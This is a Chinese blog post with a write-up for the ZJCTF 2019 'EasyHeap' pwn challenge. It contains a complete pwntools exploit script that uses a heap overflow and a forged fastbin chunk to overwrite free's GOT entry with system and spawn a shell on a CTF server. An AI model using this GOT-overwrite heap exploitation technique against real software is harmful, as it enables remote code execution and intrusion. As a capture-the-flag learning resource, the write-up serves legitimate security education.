[ZJCTF 2019]EasyHeap

该博客介绍了如何利用程序中的堆溢出漏洞和没有PIE特性,通过修改GOT表来植入后门。首先,通过添加、编辑和释放堆块来构造条件,然后通过编辑操作修改指定chunk的size字段,再伪造chunk以指向free函数的GOT入口,最后通过再次编辑和释放操作触发系统调用,实现远程代码执行。

国际惯例

在这里插入图片描述

ida

在这里插入图片描述
后门
在这里插入图片描述
有cat flag 因为平台是buu所以不考虑能打印flag,别问为什么!

add
在这里插入图片描述
edit
在这里插入图片描述
del

在这里插入图片描述
思路
有堆溢出而且没有PIE,那大概是改写got表了。

WP

from pwn import *
p = remote('node3.buuoj.cn',28946)
elf =ELF('./easyheap')

def add(size,content):
	p.recvuntil('Your choice :')
	p.sendline('1')
	p.recvuntil('Size of Heap : ')
	p.send(str(size))
	p.recvuntil('Content of heap:')
	p.send(str(content))	

def edit(index,size,content):
	p.recvuntil('Your choice :')
	p.sendline('2')
	p.recvuntil('Index :')
	p.sendline(str(index))
	p.recvuntil('Size of Heap : ')
	p.send(str(size))
	p.recvuntil('Content of heap : ')
	p.send(str(content))

def free(index):
	p.recvuntil('Your choice :')
	p.sendline('3')
	p.recvuntil('Index :')
	p.sendline(str(index))

free_got = elf.got['free']
add(0x68,'aaaa')#0
add(0x68,'bbbb')#1
add(0x68,'cccc')#2
free(2)
payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020ad)
edit(1,len(payload),payload)#添加后门
add(0x68,'aaaa')#申请回chunk2
add(0x68,'c')#构造伪堆块
payload = '\xaa' * 3 + p64(0) * 4 + p64(free_got)
edit(3,len(payload),payload)
payload = p64(elf.plt['system'])
edit(0,len(payload),payload)
free(1)
p.interactive()

总结:

payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020ad)

填入后门bin,并溢出修改chunk2的size位,0x6020ad为伪造chunk的地方。

payload = '\xaa' * 3 + p64(0) * 4 + p64(free_got)

通过伪造的chunk修改chunk0的地址为free_got。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值